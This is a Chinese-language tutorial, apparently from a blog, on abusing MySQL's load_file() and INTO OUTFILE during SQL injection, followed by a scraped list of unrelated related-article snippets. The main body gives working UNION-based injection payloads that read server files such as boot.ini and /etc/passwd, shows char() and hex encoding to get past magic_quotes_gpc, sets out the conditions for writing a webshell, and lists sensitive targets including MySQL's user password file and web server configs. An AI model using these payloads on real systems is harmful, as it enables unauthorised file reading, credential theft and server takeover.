load_file函数只有满足两个条件就可以使用:

1、文件权限:chmod a+x pathtofile

2、文件大小: 必须小于max_allowed_packet


例子:

select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')

select load_file('/etc/hosts')

例如上面的例子是有条件限制的:

1、必须有权限读取并且文件必须完全可读。

and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/

and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/

2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。

在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,

users就不能实现用load_file读取文件了。


在实际的注入中,我们有两个难点需要解决:

1、绝对物理路径。

2、构造有效的畸形语句。

  在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道

路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。


利用:

  我们假设一个程序的SQL语句如下:

select * from article where articleid=$id   (当前条件:magic_quotes_gpc = off, c:/boot.ini可读)

此时,我们构造$id为:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

我们的查询语句就变成:

select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

程序就会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc=off的主机少之又少,怎么才能构造处没有

引号的语句呢?

看过<<SQL Injection with MySQL>>的朋友肯定知道用char()函数或者把字符转换成16进制。

注:当前条件为magic_quotes_gpc=on, c:/boot.ini可读。

我们构造$id为:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

"char(99,58,47,98,111,111,116,46,105,110,105)"就是“c:/boot.ini"的ASCII代码。

我们的查询语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:

"c:/boot.ini"的十六进制是"0x633a2f626f6f742e696e69",所以上面的语句就变成:

select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们可以用into outfile把文件导出。


关于mysql into outfile注射,要使用into outfile 把代码写到web目录取得webshell首先需要3大先天条件:

1、知道物理路径(into outfule '物理路径'), 这样才能写对目录。

2、能够使用union (需要mysql 3以上的版本)

3、对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)

后天条件需要二个:

1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)

2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x,也就是

说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的。


mysql的load_file()常见的用法:

1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如"<"替换成"空格",返回的是网页。

而无法查看到代码。

3、load_file(char(47))可以列出FreeBSD, Sunos系统根目录。

4、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。

5、c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系统

  apache文件。

6、c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。

7、/usr/local/resin/conf/resin.cof   查看linux系统配置的JSP虚拟主机

8、d:/apache/apache2/conf/httpd.conf

9、c:/Program Files/mysql.my.ini

10、../themes/darkblue_orange/layout.inc.php    phpmyadmin 爆路径

11、c:/windows/system32/inetsrv/MetaBase.xml  查看IIS的虚拟主机配置文件

12、/usr/local/resin-3.0.22/conf/resin.conf   或/usr/local/resin-pro-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看

13、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

14、/etc/sysconfig/iptables 查看防火墙策略

15、usr/local/app/php5/lib/php.ini    PHP 的设置

16、/etc/my.cnf    MYSQL的配置文件

17、/etc/redhat-release 红帽子的系统版本

18、c:/mysql/data/mysql/user.MYD  存在MYSQL系统中的用户密码

19、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

20、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf    虚拟网站设置

21、c:/windows/my.ini

参考连接:https://m.aliyun.com/yunqi/ziliao/22820

mysql load_file在数据库注入中使用的更多相关文章

  1. MySQL 两个数据库表中合并数据

    两个数据库表中合并数据 如果有  t1  和 t2 两个数据库表格,它们两个对应的字段是相同的.如何将 t2 的数据插入到t1中去呢? insert into t1 select * from t2 ...

  2. phpMyAdmin中mysql的创建数据库时的编码的问题

    转载自新浪博客    Sean 一. mysql中utf8编码的utf8_bin,utf8_general_cs,utf8_general_ci的区别 utf8_general_ci 不区分大小写,这 ...

  3. 使用MySQL Workbench建立数据库,建立新的表,向表中添加数据

    使用MySQL Workbench建立数据库,建立新的表,向表中添加数据 初学数据库,记录一下所学的知识.我用的MySQL数据库,使用MySQL Workbench管理.下面简单介绍一下如何使用MyS ...

  4. 范式及其在mysql数据库设计中的应用

    一.什么是范式 1.1.范式:Normal Format,是离散数学的知识,是为了解决数据的存储与优化而提出来的.要求存储数据后,凡是能够通过关系寻找出来的数据,坚决不再重复存储,终极目标是为了减少数 ...

  5. SQLMAP学习笔记2 Mysql数据库注入

    SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...

  6. 将Hive统计分析结果导入到MySQL数据库表中(一)——Sqoop导入方式

    https://blog.csdn.net/niityzu/article/details/45190787 交通流的数据分析,需求是对于海量的城市交通数据,需要使用MapReduce清洗后导入到HB ...

  7. MySQL 查询某个数据库中所有包含数据记录的表名

    MySQL 查询某个数据库中所有包含数据记录的表名 有时根据实际应用需要,需要对数据进行备份. 如果一个数据库中有很多数据表,但是只想备份包含数据记录的那些表数据(空表不做数据备份). 如果通过如下S ...

  8. #mysql查询特定数据库中的所有表名

    #mysql查询特定数据库中的所有表名select table_namefrom information_schema.tableswhere table_schema='smbms' and tab ...

  9. PHP MySQL Delete删除数据库中的数据

    PHP MySQL Delete DELETE 语句用于从数据库表中删除行. 删除数据库中的数据 DELETE FROM 语句用于从数据库表中删除记录. 语法 DELETE FROM table_na ...

随机推荐

  1. 解决zabbix3.4图表显示中文乱码问题

    问题描述: 在Zabbix界面设置中,已经调成中文语言,可能zabbix自身携带的字体还不够完美,出现如下乱码: 测试环境: zabbix 3.4(经测试,目前3.x版本都适用) 解决步骤: 1. 寻 ...

  2. Http协议常见状态码

    206 - 断点下载时用到,客户端请求了一部分内容,服务器成功把这部分内容返回给它,这时候就是用这个状态. 301 - 永久跳转,原地址不存在了,url被指向到另一个地址.这个主要是搜索引擎相关,影响 ...

  3. Servlet -- 中文乱码解决

    请求:对于get和post都有效果 request.setCharacterEncoding("UTF-8"); 相应: 设置服务器输出的编码为UTF-8 response.set ...

  4. Spring Data JPA Batch Insertion

    转自:https://www.jeejava.com/spring-data-jpa-batch-insertion/ Spring Data JPA Batch Insertion will sho ...

  5. Echarts CPU监控 (折线仪表盘,图例混搭)

    https://blog.csdn.net/mengxiangfeiyang/article/details/44802939 CPU page   <script type="tex ...

  6. PMP项目管理的49个过程,一张图让你全部了解

    项目管理的49个过程,看表格显得比较单调,印象也不是很深,所以今天小编就给大家发一张图片,可以用一张图就能生动又详细的了解PMP项目管理的49个过程.   大家看完是不是觉得一目了然了呢,图片上传后不 ...

  7. Mybatis非mapper代理配置

    转: Mybatis非mapper代理配置 2017年04月26日 20:13:48 待长的小蘑菇 阅读数:870   版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog. ...

  8. 第十四节、FAST角点检测(附源码)

    在前面我们已经陆续介绍了许多特征检测算子,我们可以根据图像局部的自相关函数求得Harris角点,后面又提到了两种十分优秀的特征点以及他们的描述方法SIFT特征和SURF特征.SURF特征是为了提高运算 ...

  9. io系列之其他类

    一.File类:将文件或者文件夹封装成对象. 方便对文件和文件夹的属性信息进行操作. File对象可以作为参数传递给流的构造函数. 注意: 文件夹名称也可带有扩展名. 构造函数: File(Strin ...

  10. 解决Nginx出现403 forbidden (13: Permission denied)报错的四种方法

    我是在在本地用虚拟机中通过yum安装nginx的,安装一切正常,但是访问时报403, 于是查看nginx日志,路径为/var/log/nginx/error.log.打开日志发现报错Permissio ...